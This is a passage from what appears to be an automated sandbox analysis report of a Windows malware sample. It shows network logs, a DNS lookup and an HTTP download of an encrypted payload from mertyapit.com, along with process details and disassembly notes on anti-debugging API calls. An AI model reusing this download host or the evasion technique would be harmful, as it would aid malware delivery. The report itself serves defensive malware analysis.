Apr 22, 2021 13:29:18.635584116 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635586977 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635622025 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635633945 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635668993 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635670900 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635713100 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635718107 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635751963 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635766029 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635790110 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635792017 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635828972 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635838985 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635865927 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635869980 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635905027 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635907888 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635943890 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635947943 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.635991096 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.635996103 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636034012 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636050940 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636071920 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636082888 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636111021 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636121988 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636149883 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636154890 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636188030 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636193037 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636224985 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636253119 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636264086 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636272907 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636305094 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636310101 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636353016 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636359930 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636390924 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636403084 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636431932 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636442900 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636471033 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636472940 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636507988 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636518955 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:18.636548042 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636578083 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636609077 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:18.636742115 CEST	49727	80	192.168.2.3	78.142.209.31
Apr 22, 2021 13:29:30.109911919 CEST	80	49727	78.142.209.31	192.168.2.3
Apr 22, 2021 13:29:30.110064983 CEST	49727	80	192.168.2.3	78.142.209.31

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2021 13:28:21.761200905 CEST	50620	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:21.775052071 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:21.818528891 CEST	53	50620	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:21.826889992 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:21.924453974 CEST	60152	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:21.973376036 CEST	53	60152	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:22.296538115 CEST	57544	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:22.348061085 CEST	53	57544	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:23.414343119 CEST	55984	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:23.463987112 CEST	53	55984	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:24.336591005 CEST	64185	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:24.388118982 CEST	53	64185	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:24.791631937 CEST	65110	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:24.850301027 CEST	53	65110	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:25.452760935 CEST	58361	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:25.503132105 CEST	53	58361	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:26.554866076 CEST	63492	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:26.603543043 CEST	53	63492	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:27.740609884 CEST	60831	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:27.797853947 CEST	53	60831	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:29.173465967 CEST	60100	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:29.224911928 CEST	53	60100	8.8.8.8	192.168.2.3
Apr 22, 2021 13:28:59.035937071 CEST	53195	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:28:59.121874094 CEST	53	53195	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:01.548304081 CEST	50141	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:01.599793911 CEST	53	50141	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:06.155900955 CEST	53023	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:06.204499960 CEST	53	53023	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:06.779205084 CEST	58722	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:06.779494047 CEST	56596	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:06.779568911 CEST	64101	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:06.828001022 CEST	53	58722	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:06.828078985 CEST	53	56596	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:06.828098059 CEST	53	64101	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:08.123630047 CEST	49563	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:08.187468052 CEST	53	49563	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:09.667340994 CEST	51352	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:09.722791910 CEST	53	51352	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:11.263891935 CEST	59349	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:11.320943117 CEST	53	59349	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:12.764857054 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:12.814733982 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:17.009279013 CEST	58823	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:17.058104038 CEST	53	58823	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:18.092855930 CEST	57568	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:18.198590994 CEST	53	57568	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:18.457473993 CEST	50540	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:18.506721020 CEST	53	50540	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:24.176218033 CEST	54366	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:24.225965977 CEST	53	54366	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:31.824414968 CEST	53034	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:31.889034986 CEST	53	53034	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:45.301484108 CEST	57762	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:45.352994919 CEST	53	57762	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:56.780606031 CEST	55435	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:56.830948114 CEST	53	55435	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:57.792860985 CEST	50713	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:57.841581106 CEST	53	50713	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:58.601203918 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:58.652570963 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 22, 2021 13:29:59.486447096 CEST	58987	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:29:59.535092115 CEST	53	58987	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:00.718856096 CEST	56579	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:00.772932053 CEST	60633	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:00.776736975 CEST	53	56579	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:00.821571112 CEST	53	60633	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:04.236038923 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:04.297532082 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:08.439625978 CEST	63619	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:08.501127958 CEST	53	63619	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:22.884633064 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:22.952339888 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:37.972486019 CEST	61946	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:38.021482944 CEST	53	61946	8.8.8.8	192.168.2.3
Apr 22, 2021 13:30:39.099416018 CEST	64910	53	192.168.2.3	8.8.8.8
Apr 22, 2021 13:30:39.165184021 CEST	53	64910	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 22, 2021 13:29:18.092855930 CEST	192.168.2.3	8.8.8.8	0x2d9c	Standard query (0)	mertyapit.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 22, 2021 13:29:18.198590994 CEST	8.8.8.8	192.168.2.3	0x2d9c	No error (0)	mertyapit.com		78.142.209.31	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

mertyapit.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49727	78.142.209.31	80	C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Timestamp	kBytes transferred	Direction	Data
Apr 22, 2021 13:29:18.308357000 CEST	1557	OUT	GET /abcd/lndb_isQxc208.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: mertyapit.com Cache-Control: no-cache
Apr 22, 2021 13:29:18.390770912 CEST	1557	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: application/octet-stream Last-Modified: Thu, 22 Apr 2021 00:08:57 GMT Accept-Ranges: bytes Content-Length: 164416 Date: Thu, 22 Apr 2021 11:29:17 GMT
Apr 22, 2021 13:29:18.390805006 CEST	1558	IN	Data Raw: c9 6a 49 89 3d 51 10 7d 75 50 8a 40 1e 7d 47 ec 2d 6a 47 ca 5a 95 07 91 ea a1 54 55 91 4f dd 7a 6e ff 71 80 0e 32 a6 d7 cf ea f9 75 22 40 46 e5 20 1d ec 84 4f 68 e9 f8 d6 3c 95 46 b3 dd 60 12 a2 24 f9 70 51 8a 1b 79 85 61 e9 25 62 f3 97 70 52 0d Data Ascii: jI=Q}uP@}G-jGZTUOznq2u"@F Oh<F`$pQya%bpRDMQc7)cB[c{54&nB."my<m$"&OR{zGMXZ''=={0Hl"_6mEM]S[
Apr 22, 2021 13:29:18.390829086 CEST	1560	IN	Data Raw: 10 e9 d8 5a c1 85 30 7e bf a7 7b f3 e1 b9 41 0f 6b 79 ff d0 7e d7 5d b1 37 33 b1 ed bb de f4 3b 38 a4 93 78 13 e4 95 64 de 79 41 90 57 fb 1a ad cf b3 38 55 83 40 18 4c 15 a9 e8 ee 72 d7 65 3b bd 9d 5e 11 f6 74 16 a7 e0 fb d6 86 f6 b3 ee bc 29 e3 Data Ascii: Z0~{Aky~]73;8xdyAW8U@Lre;^t)YyJcN3H.4L# Y}NafpT<UOpuj{Yt6ru"\1#t+0F70R'c21e3BRuJ:V^@h#&,
Apr 22, 2021 13:29:18.390861988 CEST	1561	IN	Data Raw: 15 ff ab 25 28 36 a7 92 36 7a 4e 49 f4 dd 81 4b fe dd bc 8d 58 2f 1e 30 c9 5f b6 30 48 0c 11 e6 bd c0 bc b5 8b 25 6b a2 99 df b8 ff ef 9b f2 73 ef 21 2c a5 eb 43 cc f8 41 f2 47 26 5e 57 d1 c9 97 67 18 81 4d bc d7 9e 15 8f a6 d2 ce 6a a5 ed ac 5b Data Ascii: %(66zNIKX/0_0H%ks!,CAG&^WgMj[r'gUDD_)B$b'^4e&nFw2(UhKZFuAwO`Ru`)^maUeA[r#2
Apr 22, 2021 13:29:18.390882969 CEST	1562	IN	Data Raw: 94 b3 0b df c3 31 8b a8 0a be 23 a2 74 ad d1 c4 db a5 a9 ce 9c 2a f6 2b b4 f4 8f 2a da 30 94 46 ed 37 30 b3 f4 8c 97 a6 92 a2 52 27 19 63 32 31 1c e1 65 e4 33 42 dd ca c7 ad 52 bf 75 aa 4a 13 3a 07 56 5e f3 09 8f 01 40 68 88 23 84 26 9c b9 88 c8 Data Ascii: 1#t+0F70R'c21e3BRuJ:V^@h#&,IpAKu0@I'a#F=qVYb279\cR%8>QN,/aGZT(<![8"[<*%>&{[w%f/jGj
Apr 22, 2021 13:29:18.390904903 CEST	1564	IN	Data Raw: 73 59 7f 9d f3 12 36 fa e5 1e 4e 2e 51 17 01 bc ed ef 2e a2 c8 22 25 45 d1 fe 7f 1a eb 3c 93 ce 89 20 9e 83 d1 ae 87 93 8d e2 4a 35 e7 26 e8 7b 60 1c bb 66 06 6e e3 e1 52 d4 20 a7 c0 5a e9 b2 cd 00 0a 85 ee 9f 11 c2 23 31 de 52 9a c9 0e 8e 62 f3 Data Ascii: sY6N.Q."%E< J5&{`fnR Z#1Rb'O%R"L4i qAZ.!d^vba&~]EDj]qxr/hL:e$L4ct0S4{jis$_xr+e9dyCY%D!p
Apr 22, 2021 13:29:18.390927076 CEST	1565	IN	Data Raw: 55 7a 25 47 ec 1e a3 b3 5e 9f 1a 9e c8 5d 0a 21 5d 43 21 09 23 09 0c 38 cb 1a e9 79 50 3f d5 f1 d3 d0 5a 5e 0e 29 b1 e1 68 bc a9 ff 6c 73 58 ce af 5c bf 2f f6 32 ab 82 6a bc df 45 58 e8 88 c9 8e 0a ba 2e 8b c4 5b 12 df fd ee af 2b 67 31 4f 1c 23 Data Ascii: Uz%G^]!]C!#8yP?Z^)hlsX\/2jEX.[+g1O#9~Eu2ml_KW:7.@<=8mMumZNEKL.!PLF&-nfk`#9X4qK9q)E9L^f w5{Z5w
Apr 22, 2021 13:29:18.391043901 CEST	1567	IN	Data Raw: 2a 86 28 41 e2 37 49 38 25 6f bc 1d d9 c3 5e 44 cf 53 5f 5b a2 94 ee 16 27 a3 96 d2 9e b9 3a fb 85 0c 1e 69 f8 b6 02 be 7a b0 80 28 a2 20 b1 b5 a6 2a 3e ba 0a c4 c7 fc 52 b9 8a 23 10 0c 20 86 be b7 4a e6 20 6a 4a df c6 aa 7c f9 86 d2 32 6e 6d 9e Data Ascii: (A7I8%o^DS_[':iz( >R# J jJ\|2nm(\\|sX.~tk"pR2dYY?NF,XUWq(VNF(NuRr*lIM Q;\R-2lnK<:A0&P#:\aKad:T
Apr 22, 2021 13:29:18.391067028 CEST	1568	IN	Data Raw: 3a 70 36 b9 c5 97 94 e6 bd 54 74 91 2a df a8 b8 22 b4 df b5 d4 d2 90 8f 53 da d7 71 ad ee 97 bd cb 3d 0c 22 7e a2 f1 9f c0 4a dd 57 e6 cf 36 96 a8 b4 b0 cb 94 9a 45 3f 43 b5 8b 25 6b 65 1c 5f 40 00 10 18 74 f3 e6 e6 a9 21 13 bc 33 b0 ac d9 75 e1 Data Ascii: :p6Tt"Sq="~JW6E?C%ke_@t!3u)6hhS{RpY0).F6\YZ@ u%cf#@h&129]i"S.%L;q>!e({e!m6~$Cmh<~a\|tK5
Apr 22, 2021 13:29:18.472024918 CEST	1570	IN	Data Raw: e5 be 35 33 0f 00 1e 16 7f e9 4d d2 97 b3 b3 90 3a 61 8d 40 eb 3d 23 74 8e 57 39 ce 74 45 ef a2 c2 65 f1 21 2b 3b 24 99 18 89 e6 ed 73 bb 4e 0b 70 73 05 e2 08 81 68 a3 ca 4c 0b b3 e4 54 c7 65 d7 bf e3 9c cd 48 d2 f5 7d 23 b6 de 27 35 38 12 65 78 Data Ascii: 53M:a@=#tW9tEe!+;$sNpshLTeH}#'58exm>r{}6D]cG&1_8[(-~h$l$x.$r&7>^)x=!RhRnK9$\PI+6c{4;VAz7JrXK8Z,##s
Apr 22, 2021 13:29:18.472070932 CEST	1571	IN	Data Raw: 65 4e c7 66 92 d5 29 91 b6 59 2a 38 e4 29 82 dd b3 02 9e 41 25 50 e9 71 88 05 e9 a9 a5 46 b0 95 29 f9 2b 03 05 97 99 7d a5 b2 72 bd e6 86 7d 71 e6 7c ce 3e 8b da 89 28 96 39 5e db 5e e6 fe bd f4 53 cb a0 16 9f 28 ac 9b ee 3f 67 5a 30 25 15 c0 af Data Ascii: eNf)Y8)A%PqF)+}r}q\|>(9^^S(?gZ0%@R'~o3Xbh2B!DV rs#7fo0}(I7c-Cx?{bx%<X7U!iyt:F7O5{;4'G~]j}02w,o3

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948 Parent PID: 5672

General

Start time:	13:28:29
Start date:	22/04/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'
Imagebase:	0x400000
File size:	156976 bytes
MD5 hash:	FE81C0CDF996335C5D5A6F75B564DA51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 6412 Parent PID: 5948

General

Start time:	13:29:08
Start date:	22/04/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'
Imagebase:	0x400000
File size:	156976 bytes
MD5 hash:	FE81C0CDF996335C5D5A6F75B564DA51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948 Parent PID: 5672 SecuriteInfo.com.Mal.Generic-S.24480.exeCOMMON

Executed Functions

Function 02152B03, Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 385COMMON

Download Yara Rule

Strings

0={,, xrefs: 02152BF1
shell32, xrefs: 021531C0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 0={,$shell32
API String ID: 1029625771-4280706295
Opcode ID: b609f608ba38d8c7d5f5a652c620bd674cd8ab36afaeebdbffd6668fee52ffe7
Instruction ID: e48f5e75ca47a995b54dea0fd50d43442a21076e3cd3c56a6614f4da7d9ae65b
Opcode Fuzzy Hash: b609f608ba38d8c7d5f5a652c620bd674cd8ab36afaeebdbffd6668fee52ffe7
Instruction Fuzzy Hash: F8D116B1680259EFEF24AF60CC91BEA3A63EF54340F904169FD659B280CB75D885CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0215045A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(02150489,?,00000000,?,?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01), ref: 02150467
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T
API String ID: 1954852945-3147410236
Opcode ID: fff01b2fefa05e155d5b3246ccd95cfca62ec1ff5be4481841475346571cdd4e
Instruction ID: d68486f89e7108da5ba0bdafb15208a62452f03d63d4780ac5fed04ed21cbbe3
Opcode Fuzzy Hash: fff01b2fefa05e155d5b3246ccd95cfca62ec1ff5be4481841475346571cdd4e
Instruction Fuzzy Hash: E7314770680329EEFB10AE648C50BDA36A7AF8D764F904296FD769B2C0D775CC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02151424, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 483COMMON

Download Yara Rule

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: 1.!T
API String ID: 1029625771-3147410236
Opcode ID: 5dbe6bba9d0b5ace0c9d4fddac024084593f28068c6fd3c84b2f3e9b904bf4c1
Instruction ID: ce570e772826013b06f8c7d486c401f1b5c2337c1ce305f531c4db624cd20e0b
Opcode Fuzzy Hash: 5dbe6bba9d0b5ace0c9d4fddac024084593f28068c6fd3c84b2f3e9b904bf4c1
Instruction Fuzzy Hash: CEF13471780726FFE7159F28CC90BE673A6BF09350F5542A9EC7993280DB74A885CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02152DAC, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

advapi32, xrefs: 02152F93

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: advapi32
API String ID: 1029625771-1865859864
Opcode ID: 5628d1e8a952739dd8156d9f0d39a056e95e938c14eaec796fabc14c3b1c0b09
Instruction ID: 7455493e98e547d885810db5e1f23f4d2dc8987af661ecd4f975f7de8027b7f7
Opcode Fuzzy Hash: 5628d1e8a952739dd8156d9f0d39a056e95e938c14eaec796fabc14c3b1c0b09
Instruction Fuzzy Hash: 9CA124B2680255FFFB255F20CC85BEA3A62EF44340F5441A9FE649B2D0C7B99884CB55

Uniqueness

Uniqueness Score: -1.00%

Function 02151E46, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 139nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: 09b093ee14889e92e9e8d007700e6e19086fac61c6d31dc84389d5e74c402ea6
Instruction ID: cd8a1978d7a8cb9959e0c4e375345a2280321e1a70cce5a47dd00094b92230ea
Opcode Fuzzy Hash: 09b093ee14889e92e9e8d007700e6e19086fac61c6d31dc84389d5e74c402ea6
Instruction Fuzzy Hash: 1B4178702C0325FEEB355E14CA447A776D2AB4D764F4002ABEE7A1B1D0D3B8C885CA15

Uniqueness

Uniqueness Score: -1.00%

Function 02153CF1, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 122nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: dd9dd2750e60644388ac1a64d7fb291e97cf29a697901a3c308321a17a9cba62
Instruction ID: e95e66ffab863bb5a8444db220c986651a4f98a11bd6db7a22897cc9c68f1d4e
Opcode Fuzzy Hash: dd9dd2750e60644388ac1a64d7fb291e97cf29a697901a3c308321a17a9cba62
Instruction Fuzzy Hash: ED41597168436AEEEB20AF608C94BDA3BA79F49750F4582D6FD715B1C2E374C841CB11

Uniqueness

Uniqueness Score: -1.00%

Function 021525A9, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Part of subcall function 021525D0: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,02152562,021525F4,0215056F,?,?,8802EDAC,?,02154530,021503C4), ref: 021525E4

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: CreateFileInformationThread
String ID: 1.!T
API String ID: 2580995559-3147410236
Opcode ID: 3d07c0758a594636915bc8779744b1e5acbe175bcc13d358bab62062da744210
Instruction ID: 1d77bb3ac08357bdfab35a4ef43aec9b928c8d0d35ca8b56ad216e7e0829d0d5
Opcode Fuzzy Hash: 3d07c0758a594636915bc8779744b1e5acbe175bcc13d358bab62062da744210
Instruction Fuzzy Hash: A83109B1680326EEFB206E748C90BDA26975F89764F9042A6FE315B2C0E774CC81CA51

Uniqueness

Uniqueness Score: -1.00%

Function 021544DC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: 73b4efe91d7bf73e0a49c926d61a4256eeaa9c0461b8a74e09013b23fab1ef7c
Instruction ID: f2cda002b786a4e76a4fbb81ae35c558a6436061efd3a53f68501671638648f1
Opcode Fuzzy Hash: 73b4efe91d7bf73e0a49c926d61a4256eeaa9c0461b8a74e09013b23fab1ef7c
Instruction Fuzzy Hash: 5521497068032AEAEB106E608C50BDA26539F88750F804292FE716B2C0E374CC41CA50

Uniqueness

Uniqueness Score: -1.00%

Function 021504B9, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,8802EDAC), ref: 02150567

Strings

1.!T, xrefs: 02150537

